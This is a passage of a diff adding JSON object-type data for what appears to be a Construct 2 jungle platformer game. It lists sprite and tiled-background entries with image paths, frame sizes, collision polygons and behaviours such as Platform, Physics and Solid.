+ [],
+ false,
+ false,
+ 832371590187434,
+ [],
+ null
+ ],
+ [
+ "t306",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground.png",
+ 124612,
+ 1
+ ],
+ null,
+ [],
+ false,
+ false,
+ 132342314422740,
+ [],
+ null
+ ],
+ [
+ "t307",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground2.png",
+ 178690,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 351545675279550,
+ [],
+ null
+ ],
+ [
+ "t308",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground3.png",
+ 168854,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 895504800442838,
+ [],
+ null
+ ],
+ [
+ "t309",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 846488372222759,
+ [
+ [
+ "images/sprite78-sheet0.png",
+ 11385,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 751758963031486,
+ [],
+ null
+ ],
+ [
+ "t310",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 989867357883456,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground-sheet0.png",
+ 4664,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 405832075859793,
+ [],
+ null
+ ],
+ [
+ "t311",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 974843645196060,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground2-sheet0.png",
+ 306,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 782703323380679,
+ [],
+ null
+ ],
+ [
+ "t312",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 918776563383526,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground3-sheet0.png",
+ 2831,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 423226164858703,
+ [],
+ null
+ ],
+ [
+ "t313",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 715088236381812,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground4-sheet0.png",
+ 5621,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.421875,
+ -0.421875,
+ 0,
+ -0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ 0.5,
+ 0,
+ 0.5,
+ -0.234375,
+ 0.234375,
+ -0.46875,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 168139482760614,
+ [],
+ null
+ ],
+ [
+ "t314",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 778733504706652,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground5-sheet0.png",
+ 2618,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.5,
+ -0.5,
+ 0,
+ -0.007811993360519409,
+ 0.007812976837158203,
+ -0.007811993360519409,
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 995791577148431,
+ [],
+ null
+ ],
+ [
+ "t315",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 871813542255227,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground6-sheet0.png",
+ 2596,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.5,
+ -0.5,
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 544188945492757,
+ [],
+ null
+ ],
+ [
+ "t316",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 411686139987645,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground7-sheet0.png",
+ 5612,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.5,
+ -0.5,
+ 0,
+ -0.5,
+ 0.421875,
+ -0.421875,
+ 0.46875,
+ 0,
+ 0.234375,
+ 0.234375,
+ 0,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 667677096750312,
+ [],
+ null
+ ],
+ [
+ "t317",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 799192363282511,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground8-sheet0.png",
+ 2771,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 576204085374408,
+ [],
+ null
+ ],
+ [
+ "t318",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 421163374096305,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground9-sheet0.png",
+ 5581,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.421875,
+ -0.421875,
+ 0,
+ -0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ 0,
+ 0.4374999403953552,
+ 0.4374999403953552,
+ 0,
+ 0.4374999403953552,
+ -0.234375,
+ 0.234375,
+ -0.46875,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 718683186420434,
+ [],
+ null
+ ],
+ [
+ "t319",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 623492579045824,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground10-sheet0.png",
+ 5216,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.5,
+ -0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ 0,
+ 0.4296879768371582,
+ 0.4296879768371582,
+ 0,
+ 0.5,
+ -0.4375,
+ 0.4374999403953552,
+ -0.5,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 261523754522294,
+ [],
+ null
+ ],
+ [
+ "t320",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 788631828572962,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground11-sheet0.png",
+ 5368,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.5,
+ -0.5,
+ 0,
+ -0.5,
+ 0.421875,
+ -0.421875,
+ 0.46875,
+ 0,
+ 0.234375,
+ 0.234375,
+ 0,
+ 0.4296879768371582,
+ -0.4375,
+ 0.4374999403953552,
+ -0.5,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 847634037180728,
+ [],
+ null
+ ],
+ [
+ "t321",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 154096914593953,
+ [
+ [
+ "images/sprite83-sheet0.png",
+ 25006,
+ 0,
+ 0,
+ 514,
+ 386,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 531631819874790,
+ [],
+ null
+ ],
+ [
+ "t322",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 192807654423106,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground12-sheet0.png",
+ 1772,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0,
+ -0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ 0.5,
+ 0,
+ 0.5,
+ -0.234375,
+ 0.234375,
+ -0.171875,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 519787309563856,
+ [],
+ null
+ ],
+ [
+ "t323",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 632949987641925,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground13-sheet0.png",
+ 1768,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.5,
+ -0.5,
+ 0,
+ -0.5,
+ 0.171875,
+ 0,
+ 0.234375,
+ 0.234375,
+ 0,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 310098134427586,
+ [],
+ null
+ ],
+ [
+ "t324",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "skin1",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 383287242376972,
+ [
+ [
+ "images/cog-sheet0.png",
+ 10794,
+ 1,
+ 1,
+ 61,
+ 62,
+ 8,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ],
+ [
+ "images/cog-sheet0.png",
+ 10794,
+ 64,
+ 1,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin2",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 275493356955847,
+ [
+ [
+ "images/cog-sheet0.png",
+ 10794,
+ 1,
+ 65,
+ 61,
+ 62,
+ 8,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ],
+ [
+ "images/cog-sheet0.png",
+ 10794,
+ 64,
+ 65,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin3",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 895223753053718,
+ [
+ [
+ "images/cog-sheet1.png",
+ 12402,
+ 1,
+ 1,
+ 61,
+ 62,
+ 8,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ],
+ [
+ "images/cog-sheet1.png",
+ 12402,
+ 64,
+ 1,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin4",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 803153887220775,
+ [
+ [
+ "images/cog-sheet1.png",
+ 12402,
+ 1,
+ 65,
+ 61,
+ 62,
+ 8,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ],
+ [
+ "images/cog-sheet1.png",
+ 12402,
+ 64,
+ 65,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin5",
+ 5,
+ true,
+ 1,
+ 0,
+ false,
+ 757995756715374,
+ [
+ [
+ "images/cog-sheet2.png",
+ 5510,
+ 1,
+ 1,
+ 61,
+ 62,
+ 8,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ],
+ [
+ "images/cog-sheet2.png",
+ 5510,
+ 64,
+ 1,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 587064313642896
+ ],
+ [
+ "Platform",
+ 23,
+ 395243879704038
+ ],
+ [
+ "Sine",
+ 13,
+ 874994049846602
+ ]
+ ],
+ false,
+ false,
+ 135262335788057,
+ [],
+ null
+ ],
+ [
+ "t325",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 283614278276116,
+ [
+ [
+ "images/sprite121-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 177991429596474
+ ],
+ [
+ "Solid",
+ 17,
+ 150004619034295
+ ]
+ ],
+ false,
+ false,
+ 121819184052814,
+ [],
+ null
+ ],
+ [
+ "t326",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 485386027838009,
+ [
+ [
+ "images/sprite84-sheet0.png",
+ 3238,
+ 1,
+ 1,
+ 107,
+ 36,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "dos",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 179346181145520,
+ [
+ [
+ "images/sprite84-sheet0.png",
+ 3238,
+ 1,
+ 39,
+ 107,
+ 36,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "uno",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 973682669132174,
+ [
+ [
+ "images/sprite84-sheet0.png",
+ 3238,
+ 1,
+ 77,
+ 107,
+ 36,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "cero",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 807459656623262,
+ [
+ [
+ "images/sprite84-sheet1.png",
+ 1601,
+ 0,
+ 0,
+ 107,
+ 36,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 879389725033324,
+ [],
+ null
+ ],
+ [
+ "t327",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 486876388655125,
+ [
+ [
+ "images/sprite112-sheet0.png",
+ 13617,
+ 0,
+ 0,
+ 228,
+ 61,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 616563149321961,
+ [],
+ null
+ ],
+ [
+ "t328",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles10.png",
+ 1162,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 411568796397184
+ ]
+ ],
+ false,
+ false,
+ 169687902343189,
+ [],
+ null
+ ],
+ [
+ "t329",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles10.png",
+ 1162,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 639111726262753
+ ]
+ ],
+ false,
+ false,
+ 296881184258495,
+ [],
+ null
+ ],
+ [
+ "t330",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 418391369687593,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 455327555214629,
+ [],
+ null
+ ],
+ [
+ "t331",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground4.png",
+ 108399,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 652772204875117,
+ [],
+ null
+ ],
+ [
+ "t332",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 892718108030608,
+ [
+ [
+ "images/sprite143-sheet0.png",
+ 2157,
+ 0,
+ 0,
+ 35,
+ 34,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 603239565406124
+ ]
+ ],
+ false,
+ false,
+ 738435321832699,
+ [],
+ null
+ ],
+ [
+ "t333",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 571550610025783,
+ [
+ [
+ "images/sprite170-sheet0.png",
+ 12510,
+ 0,
+ 0,
+ 270,
+ 204,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ [],
+ [
+ -0.4666666686534882,
+ 0.0686269998550415,
+ -0.0212966799736023,
+ 0.06740200519561768,
+ -0.02083265781402588,
+ -0.4914215803146362,
+ 0.5314813852310181,
+ -0.4901960790157318,
+ 0.5333333015441895,
+ 0.5,
+ -0.4666666686534882,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 555332119990663
+ ]
+ ],
+ false,
+ false,
+ 386409646057454,
+ [],
+ null
+ ],
+ [
+ "t334",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 658380299211283,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ [],
+ [
+ -0.069444440305233,
+ -0.2878785133361816,
+ 0.803571343421936,
+ -0.2954545021057129,
+ 0.803571343421936,
+ 0.242424488067627,
+ -0.07142854481935501,
+ 0.242424488067627
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 402887863282113
+ ]
+ ],
+ false,
+ false,
+ 150988994631518,
+ [],
+ null
+ ],
+ [
+ "t335",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 515977734668446,
+ [
+ [
+ "images/sprite237-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 796036103901724
+ ]
+ ],
+ false,
+ false,
+ 748256409039702,
+ [],
+ null
+ ],
+ [
+ "t336",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 441752166455812,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ [],
+ [
+ -0.07936505228281021,
+ -0.2803035080432892,
+ 0.7976188659667969,
+ -0.2878785133361816,
+ 0.7956348657608032,
+ 0.2575755119323731,
+ -0.07936505228281021,
+ 0.2500004768371582
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 995330338256591
+ ]
+ ],
+ false,
+ false,
+ 143647049566705,
+ [],
+ null
+ ],
+ [
+ "t337",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 464283861648597,
+ [
+ [
+ "images/sprite175-sheet0.png",
+ 2569,
+ 0,
+ 0,
+ 126,
+ 33,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ [],
+ [
+ -0.07936505228281021,
+ -0.2727274894714356,
+ 0.7996038794517517,
+ -0.2727274894714356,
+ 0.7976188659667969,
+ 0.2500004768371582,
+ -0.0773809477686882,
+ 0.242424488067627
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
